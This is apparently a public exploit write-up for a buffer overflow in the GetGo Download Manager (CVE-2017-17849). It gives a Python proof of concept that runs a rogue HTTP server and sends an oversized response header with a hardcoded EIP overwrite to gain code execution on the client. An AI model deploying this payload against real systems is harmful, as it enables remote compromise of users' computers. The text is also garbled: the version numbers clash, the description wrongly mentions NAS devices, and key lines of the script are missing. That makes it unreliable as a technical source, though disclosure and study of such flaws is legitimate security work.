# Exploit Title: Buffer overflow vulnerability in GetGo Download Manager 220.127.116.1112
# CVE: CVE-2017-17849
# Date: 22-12-2017
# Tested on Windows 10 32 bits
# Exploit Author: Aloyce J. Makalanga
# Contact: https://twitter.com/aloycemjr <https://twitter.com/aloycemjr>
# Software Link: http://www.getgosoft.com/getgodm/ <http://www.getgosoft.com/getgodm/>
# Category: webapps
# Attack Type: Remote
# Impact: Code Execution
A buffer overflow vulnerability in GetGo Download Manager 18.104.22.16812 and earlier could allow remote HTTP servers to execute arbitrary code on NAS devices via a long response. To exploit this vulnerability, an attacker needs to issue a malicious-crafted payload in the HTTP Response Header. A successful attack could result in code execution on the victim computer.
2. Proof of Concept
host = "192.168.205.128"
port = 80
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "\n[+] Listening on %d ..." % port
cl, addr = s.accept()
print "[+] Connection accepted from %s" % addr
evilbuffer = "A" * 4105
hardCodedEIP= "\x69\x9E\x45\x76" #This is a hardcoded EIP just for demo :). As you can see on the screenshot, we hit a breakpoint, right here on this EIP. Do you see our stack!!! You need to change this.
pads = "C"*(6000 - len(evilbuffer + hardCodedEIP))
payload = evilbuffer + hardCodedEIP + pads
buffer = "HTTP/1.1 200 " + payload + "\r\n"
print "[+] Sending buffer: OK\n"
if __name__ == '__main__':
from time import sleep
No solution as of yet.